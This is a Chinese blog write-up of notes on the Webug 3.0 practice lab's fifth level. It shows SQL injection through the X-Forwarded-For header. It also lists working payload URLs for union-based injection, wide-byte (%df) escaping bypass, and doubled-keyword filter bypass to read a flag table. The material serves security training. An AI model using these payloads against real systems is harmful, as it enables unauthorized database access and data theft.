webug3.0 第五关笔记

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接: https://blog.csdn.net/weixin_43460822/article/details/95631373

题目:

 (1)头注入的方法和位置的主要关注点在:X-Forwarded-For、User-Agent、Referer这几个地方,抱着“但愿没有注入防护”的想法,对这几个地方都进行了简单的注入测试,发现X-Forwarded-For存在注入

 

(2)则可判断 X-Forwarded-For存在注入,然后可以注入X-Forwarded-For:union select 1,2,3,flag from flag,

 

就可以得到最后注入结果

知识补充:

1、X-Forwarded-ForXFF)是用来识别通过HTTP代理负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段

2.User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本、CPU 类型、浏览器及版本、浏览器渲染引擎、浏览器语言、浏览器插件等。

扫描二维码关注公众号,回复: 7200877 查看本文章

3.Referer https://www.cnblogs.com/bukudekong/p/3829852.html

4.常见注入类型

(1).常规注入

获取表名----------------
http://xxxxxx/sql1/index.php?id=1' union select 1,2,table_name from information_schema.tables where table_schema=database()%23
获取列名----------------
http://xxxxxx/sql1/index.php?id=1' union select 1,2,column_name from information_schema.columns where table_name='flag'%23
获取信息----------------
http://xxxxxx/sql1/index.php?id=1' union select 1,2,flag from flag%23

(2).宽字节注入

%df'会成为一个中文字符(也就是吃掉\,绕过过滤addslashes函数的规则)
http://xxxxxx/sql2/index.php?id=1%df' union select 1,2,flag from flag %23

(3).关键字替换

以替换关键字的方式过滤,只替换一次,故可将关键字插入来达到绕过目的
http://xxxxxx/sql3/index.php?id=1' uniunionon selselectect 1,2,flag frfromom flag %23

参考:

1. 常见注入类型 : https://www.jianshu.com/p/18e94eb06c2a

2.  Exp10 Final 类CTF(Webug3.0漏洞靶场—渗透基础) :https://www.cnblogs.com/PegasusLife/p/10886420.html

猜你喜欢

转载自blog.csdn.net/weixin_43460822/article/details/95631373